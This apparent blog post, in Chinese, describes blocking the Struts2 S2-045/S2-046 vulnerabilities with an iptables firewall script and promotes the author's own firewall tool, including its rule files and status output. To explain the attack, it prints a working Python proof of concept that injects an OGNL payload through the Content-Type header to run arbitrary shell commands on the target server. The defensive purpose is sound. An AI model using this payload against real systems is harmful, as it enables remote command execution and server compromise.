Struts2 S2-046, S2-045 Firewall(漏洞防火牆)
阿新 • • 發佈:2022-05-02
開發中遇到一個問題,Struts2 已經升級到2.3.32但是故障依舊,絞盡腦汁找不出原因。此路不同另尋它路,我便想從運維角度暫時解決這個問題,給開發留出足夠的時間解決故障。
於是我想到了iptables 防火牆並下來的這個指令碼。
https://github.com/netkiller/firewall/blob/master/shell/struts2.sh
這是一個針對 Struts2 S2-046, S2-045漏洞封殺的防火牆指令碼。
首先分析 S2-046, S2-045 漏洞攻擊的原理。測試程式碼如下:
#! /usr/bin/env python # encoding:utf-8 import urllib2 import sys from poster.encode import multipart_encode from poster.streaminghttp import register_openers def poc(): register_openers() datagen, header = multipart_encode({"image1": open("tmp.txt", "rb")}) header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36" header["Content-Type"]="%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"+sys.argv[2]+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" try: request = urllib2.Request(str(sys.argv[1]),datagen,headers=header) response = urllib2.urlopen(request) print response.read() except Exception,e: print e poc()
攻擊原理是想Struts Action Post 注入資料,好了知道這個原來就可以實現封鎖了(在不改動一行程式碼的情況下)
- - - - - - - - -
順便接受一下我開發的firewall,我用它替代CentOS 7 firewalld。
Install
地址 https://github.com/netkiller/firewall
安裝 bash install.sh
防火牆規則連採用面向物件方式,可以加入迴圈,條件判斷等等....
Demo
$ sudo /etc/init.d/firewall Usage: /etc/init.d/firewall {start|stop|status|restart} $ sudo /etc/init.d/firewall start $ sudo /etc/init.d/firewall status Chain INPUT (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 44 6163 ACCEPT all -- * * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED 0 0 ACCEPT icmp -- * * 0.0.0.0/0 0.0.0.0/0 0 0 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0 0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22 state NEW 0 0 ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports 443,80 state NEW 2 2884 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited Chain FORWARD (policy ACCEPT 0 packets, 0 bytes) pkts bytes target prot opt in out source destination 0 0 REJECT all -- * * 0.0.0.0/0 0.0.0.0/0 reject-with icmp-host-prohibited Chain OUTPUT (policy ACCEPT 45 packets, 6893 bytes) pkts bytes target prot opt in out source destination 0 0 REJECT tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports 20,21 reject-with icmp-port-unreachable $ sudo /etc/init.d/firewall stop
Rule file
$ sudo cat /srv/firewall/libexec/www.py #!/usr/bin/env python3 # -*- coding: utf-8 -*- from firewall import * ######################################## # Web Application ######################################## www = Firewall() www.flush() www.policy(www.INPUT,www.ACCEPT) www.policy(www.OUTPUT,www.ACCEPT) www.policy(www.FORWARD,www.ACCEPT) www.input().state(('RELATED','ESTABLISHED')).accept() www.input().protocol('icmp').accept() www.input().interface('-i','lo').accept() www.input().protocol('tcp').dport('22').state('NEW').accept() www.input().protocol('tcp').dport(('443','80')).state('NEW').accept() www.output().protocol('tcp').dport(('20','21')).reject() #www.input().protocol('tcp').inbound('eth0').dport('80').recent('HTTP',2,20).drop() #www.input().protocol('tcp').inbound('eth0').dport('80').connlimit(30).drop() #www.input().protocol('tcp').inbound('eth0').dport('80').recent('HTTP').accept() # DDOS #www.input().proto('tcp').dport("80").string('XXDD0S').drop() www.input().reject('--reject-with icmp-host-prohibited') www.forward().reject('--reject-with icmp-host-prohibited') def start(): www.start() def stop(): www.stop() def restart(): www.stop() www.start() def show(): www.show() def status(): www.status() def main(): show() return( 0 ) if __name__ == '__main__': main()
Testing API
#!/usr/bin/python3
from firewall import Firewall
single = Firewall()
single.policy(single.INPUT,single.DROP)
single.policy(single.OUTPUT,single.ACCEPT)
single.policy(single.FORWARD,single.DROP)
single.input().protocol('icmp').drop()
single.input().protocol('tcp').dport(('3389','5900')).accept()
single.input().protocol('tcp').dport(('137','138','139','145')).accept()
single.show()
#single.run()
#single.list()